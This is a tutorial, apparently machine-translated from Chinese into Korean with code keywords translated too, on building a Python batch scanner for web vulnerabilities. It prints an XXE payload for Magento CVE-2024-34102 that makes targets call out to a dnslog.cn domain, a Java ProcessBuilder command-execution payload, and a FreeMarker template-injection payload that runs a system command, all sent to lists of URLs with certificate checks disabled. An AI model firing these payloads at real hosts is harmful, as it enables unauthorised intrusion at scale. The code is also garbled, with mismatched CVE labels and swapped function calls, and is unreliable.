제목 : 파이썬 취약성 배치 감지 도구를 신속하게 작성하십시오

一、前言​

다음 탐지 스크립트가 열에 표시됩니다.
가져 오기 요청
Urllib3을 가져옵니다
RE, String, Random import
urllib.parse import urljoin에서
Argparse 가져 오기
수입 시간
SSL 가져 오기
ssl._create_default_https_context=ssl._create_unverified_context
urllib3.disable_warnings (urllib3.exceptions.insecureRequestWarning)
DEF 배너 () :
인쇄()
인쇄 (r '' ''
____________ _____ _____ _____ _____ _____ _____ ____
/___ \ \///____ | | ___ \/_ \ ___ \ | || | ___ \/_ \ ___//_
| | \ \//| _ | _____ __) | | | | | | | | _____ ___) | | | | | | | |//'_ \
| | ___ \ V/| | ________/__/| | _ |/__/| ________/__/| | _ | |//| (_) |
\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | ______ | \ ____ //\ ___/
_____
| ___ |
//
//
/_/
'' ')
인쇄()
def read_file (file_path) :
file:으로 Open (file_path, 'r')을 사용합니다
urls=file.read (). splitlines ()
URL을 반환합니다
DEF Check (URL) :
url=url.rstrip ( '/')
taeget_url=urljoin (url, '/rest/v1/guest-carts/1/estimate-hillping-methods')
try:
헤더={
'user-agent':'Mozilla/5.0 (x11; Cros i686 3912.101.0) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/27.0.1453.116 Safari/537.36 ',
'Content-Type':'Application/JSON '
}
getDomain=requests.get (url='http://dnslog.cn/getdomain.php', headers={ 'cookie':'phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}, timeout=30)
domain=str (getDomain.text)
데이터=''{ 'address': {'TotalScollector': { 'CollectorList': {'TotalCollector': { 'sourcedata'33 360 { 'data': {'data':'http://%s ','dataisurl':true, '옵션 ':12345678}}}}}}' ''%(도메인)
requests.post (taeget_url, verify=false, 헤더=헤더, 데이터=데이터, 타임 아웃=25)
범위 (0, 3) :의 I의 경우
refresh=requests.get (url='http://dnslog.cn/getrecords.php', headers={ 'cookie':'phpsessid=hb0p9iqh804ESB5KHaulm8ptp2 '}, 타임 아웃=30)
Time.sleep (1)
refresh.text:에서 도메인 인 경우
print (f '\ 033 [31MDiscovered: {url} :adobemagento_cve-2024-34102_xxe! \ 033 [0m')
진실을 반환하십시오
E:으로 예외를 제외하고
통과하다
__name__=='__ 메인 __': 인 경우
기치()
Parser=argparse.argumentparser (description='adobecoldfusion_cve-2024-20767_arbitraryfileread detection script')
parser.add_argument ( '-u', '-url', type=str, help='단일 URL 감지')
parser.add_argument ( '-f', '---txt', type=str='Batch URL 파일로드 감지')).
args=parser.parse_args ()
Args.url: 인 경우
read_file (args.url)
elif args.txt:
확인 (args.txt)
else:
parser.print_help ()
위의 배치 감지 코드의 주요 기능 지점 :
1. 배너 기능 모듈, 디스플레이 스크립트를 아름답게하기 위해 그래픽 로고 표시에 사용됩니다.
2. read_file 함수 모듈, 파일의 url 주소를 배치하는 데 사용됩니다.
3. 취약점을 감지하는 데 사용되는 기능 모듈을 확인하십시오. 여기에서 건설에 BP를 사용하고 응답 패키지의 리턴 값을 기준으로 규칙을 일치시키는 것이 가장 좋습니다.
4. 기본 함수 모듈은 주로 위의 세 가지 함수를 호출하고 명령 줄 파서를 참조합니다.

二、导入python包​

Python Pycharm 커뮤니티 오류 기능을 사용하여 가져와야하는 패키지를 감지 할 수 있습니다.
가져 오기 요청
Urllib3을 가져옵니다
RE, String, Random import
urllib.parse import urljoin에서
Argparse 가져 오기
수입 시간
SSL 가져 오기
ssl._create_default_https_context=ssl._create_unverified_context
urllib3.disable_warnings (urllib3.exceptions.insecureRequestWarning)
image-20240801024603100

三、函数功能模块​

1.banner标识函数功能​

DEF 배너 () :
인쇄()
인쇄 (r '' ''
____________ _____ _____ _____ _____ ______ _____
/___ \ \///____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \
| | \ \//| _ | _____ __) | | | | | | __) | | | | ____ | _ \ | || | _ | | | | | | | | | |
| | ___ \ V/| | ________/__/| | _ |/__/| ___ _ | _______ | ___) | __ _ | | | _ | |
\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/
____
| ___ \
__) |
/__/
| ______ |
'' ')
인쇄()
기능 :이 기능은 그래픽 배너를 인쇄합니다
온라인 세대 도구 : http://www.network-science.de/ascii/
또는 현지 세대에 pyfiglet을 사용하면 생성 된 코드를 Python 코드로 대체 할 수 있습니다.
PIP Pyfiglet을 설치하십시오
C: \ Users \ TestPyFiglet CVE-2024-34102
____________ _____ _____ _____ _____ ______ _____
/___ \ \///____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \
| | \ \//| _ | _____ __) | | | | | | __) | | | | ____ | _ \ | || | _ | | | | | | | | | |
| | ___ \ V/| | ________/__/| | _ |/__/| ___ _ | _______ | ___) | __ _ | | | _ | |
\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/
____
| ___ \
__) |
/__/
| ______ |

2.read_file函数模块​

함수 :이 함수는 지정된 파일의 각 줄을 읽고이 줄의 내용을 포함하는 목록을 반환합니다 (URL이라고 가정).
注意:该代码模块,可固定不变def read_file (file_path) : #read_file이라는 함수를 define 파일의 경로를 나타내는 매개 변수 file_path를 허용합니다.
file:으로 Open (file_path, 'r')을 사용합니다
# 열기 기능을 사용하여 지정된 경로가 읽기 모드 ( 'r')에서 파일을 열고 파일 개체를 변수 파일에 할당하십시오. With 문은 코드 블록이 완료된 후 파일이 자동으로 닫히도록합니다.
urls=file.read (). splitlines ()
#파일의 전체 내용을 읽고 라인별로 목록으로 분할하십시오. 각 라인의 내용은 목록의 요소 역할을합니다. SplitLines () 메소드는 각 라인의 최신 라인을 제거합니다
URL을 반환 #모든 URL 목록을 반환하십시오

3.check函数模块​

注意:这里可根据实际情况进行修改DEF Check (URL) :
#check라는 함수를 정의하고 매개 변수 URL을 허용하여 확인할 URL을 나타냅니다.
url=url.rstrip ( '/')
# URL 끝에서 슬래시를 제거하십시오 (있는 경우)
taeget_url=urljoin (url, '/rest/v1/guest-carts/1/estimate-hillping-methods')
#urljoin 함수를 사용하여 대상 URL을 생성하기 위해 지정된 경로와 주어진 URL을 스플릿합니다.
try:
#다음 코드 블록을 실행하려면 예외가 발생하면 제외 블록으로 이동하십시오.
헤더={
'user-agent':'Mozilla/5.0 (x11; Cros i686 3912.101.0) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/27.0.1453.116 Safari/537.36 ',
'Content-Type':'Application/JSON '
}
#SET HTTP 요청 헤더, 헤더는 사용자 에이전트 및 컨텐츠 유형이 포함되어 있습니다. 콘텐츠 유형은 게시물 요청 패키지 형식입니다.
getDomain=requests.get (url='http://dnslog.cn/getdomain.php', headers={ 'cookie':'phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}, timeout=30)
#DNSLOG.CN에 GET 요청을 제공하여 고유 도메인 이름을 얻으려면 취약점을 감지하는 데 사용됩니다.
domain=str (getDomain.text)
#응답 내용을 문자열에 연결하고 변수 도메인에 값을 할당합니다.
데이터=''{ 'address': {'TotalScollector': { 'CollectorList': {'TotalCollector': { 'sourcedata'33 360 { 'data': {'data':'http://%s ','dataisurl':true, '옵션 ':12345678}}}}}}' ''%(도메인)
#이 취약점을 이용할 목적으로 도메인을 포함하는 JSON 데이터 문자열을 구성하십시오.
requests.post (taeget_url, verify=false, 헤더=헤더, 데이터=데이터, 타임 아웃=25)
#구조화 된 JSON 데이터를 전달하는 대상 URL에 대한 게시물 요청
범위 (0, 3) :의 I의 경우
DNS 레코드에 도메인 이름이 포함되어 있는지 확인하기 위해 3 번 변경
refresh=requests.get (url='http://dnslog.cn/getrecords.php', headers={ 'cookie':'phpsessid=hb0p9iqh804ESB5KHaulm8ptp2 '}, 타임 아웃=30)
#dnslog.cn에 요청을 보내 DNS 레코드를 얻습니다
Time.sleep (1)
refresh.text:에서 도메인 인 경우
#도메인 이름이 DNS 레코드에 포함되면 취약점이 존재 함을 의미합니다.
print (f '\ 033 [31MDiscovered: {url} :adobemagento_cve-2024-34102_xxe! \ 033 [0m')
#취약점에 대한 인쇄 정보
진실을 반환하십시오
#취약성이 감지되었음을 나타냅니다
E:으로 예외를 제외하고
#위의 코드를 실행하려고 할 때 예외가 발생하면 예외를 포착하고 무시하십시오.
통과하다
检测函数的主要方法:get类型DEF Check (URL) :
url=url.rstrip ( '/')
대상=url+'/url path'
헤더={
'user-agent':'Mozilla/5.0 (x11; Linux x86_64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/41.0.2227.0 Safari/537.36 '
}
try:
#요청 방법
응답=urllib.request.request (대상, 헤더=헤더, 메소드='get', unverifiable=true)
res=urllib.request.urlopen (응답)
status_code=res.getCode ()
content=res.read (). decode ()
If Status_Code==200 및 컨텐츠의 'Fonts'및 Content 3:의 '확장'
#기본 매칭 취약성 검증 규칙
print (f '\ 033 [31MDISCOVERED: {url} : 취약성 상태 설명 (XXX는 RCE 취약성이 있음) \ 033 [0M')
E:으로 예외를 제외하고
통과하다
post类型DEF Check1 (URL) :
url=url.rstrip ( '/')
대상=urljoin (url, '/url path')
헤더={
'user-agent':'Mozilla/5.0 (x11; Linux x86_64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/41.0.2227.0 Safari/537.36 ',
'content-type':'응용 프로그램/json; charset=utf-8 '#post 데이터 형식 유형
}
#post 요청 데이터
data='{'paramname': '', 'paramdesc':' ','paramtype': ','sampleitem'3360'1 ','필수 ':true, 'Quessionflag':1,'validationrules':'function (data) {a=new java.lang.processBuilder (\\\ 'echo \\\', \\\ 'HelloWorldTest \\\'). start (). getInputStream (); r=new java.io.bufferedReader (new java.io.inputStreamReader (a)); null) {ss+=line}; return ss;} '}'
try:
#post 요청 방법
응답=requests.post (대상, verify=false, 헤더=헤더, 데이터=데이터, 시간 초과=15)
IF RESPING.STATUS_CODE==200 및 'HELLOWORLDTEST'는 응답으로 repling.text.text.text 및 'data'에서 'helloWorldTest'및 'helloWorldTest'
print (f '\ 033 [31Mdiscovered: {url} : 취약성 상태 설명 (XXX는 RCE 취약성이 있습니다! \ 033 [0M').
진실을 반환하십시오
E:으로 예외를 제외하고
통과하다
DEF Check2 (URL) :
url=url.rstrip ( '/')
target=urljoin (url, '/jc6/platform/portalwb/portalwb-con-template !viewcontemplate.action')
헤더={
'user-agent':'Mozilla/2.0 (호환 가능; MSIE 3.01; Windows 95 ',
'Content-Type':'응용 프로그램/x-www-form-urlencoded '
}
data='' 'modulid=1 코드=%253cclob%253e%2524%257b%2522freemarker.template.Utility.Utility. Execute%2522%253fNew%2528%2529%2528%2522Arp%25222%2529%257d 253C%253C%
try:
응답=requests.post (대상, verify=false, 헤더=헤더, 데이터=데이터, 시간 초과=15)
응답으로 response.tatus_code==200 및 '인터넷'을 응답하고 '/clob'으로 응답합니다 .text:
#기본 매칭 취약성 검증 규칙
print (f '\ 033 [31Mdiscovered: {url} : 취약성 상태 설명 (XXX는 RCE 취약성이 있습니다! \ 033 [0M').
진실을 반환하십시오
E:으로 예외를 제외하고
통과하다

四、主函数功能模块​

기능 : 위의 함수를 호출하십시오
이 부분은 스크립트, 구문 분석 명령 줄 매개 변수의 입력이며, -url 매개 변수가 제공되면 단일 URL이 감지됩니다. --txt 매개 변수가 제공되면 파일의 여러 URL 주소가 감지됩니다.
__name__=='__ 메인 __': 인 경우
#배너 기능을 발사하고 위의 식별 다이어그램을 표시하십시오.
기치()
#command line 매개 변수 파서
Parser=argparse.argumentparser (description='adobecoldfusion_cve-2024-20767_arbitraryfileread detection script')
parser.add_argument ( '-u', '-url', type=str, help='단일 URL 감지')
parser.add_argument ( '-f', '---txt', type=str='Batch URL 파일로드 감지')).
 
뒤로
상단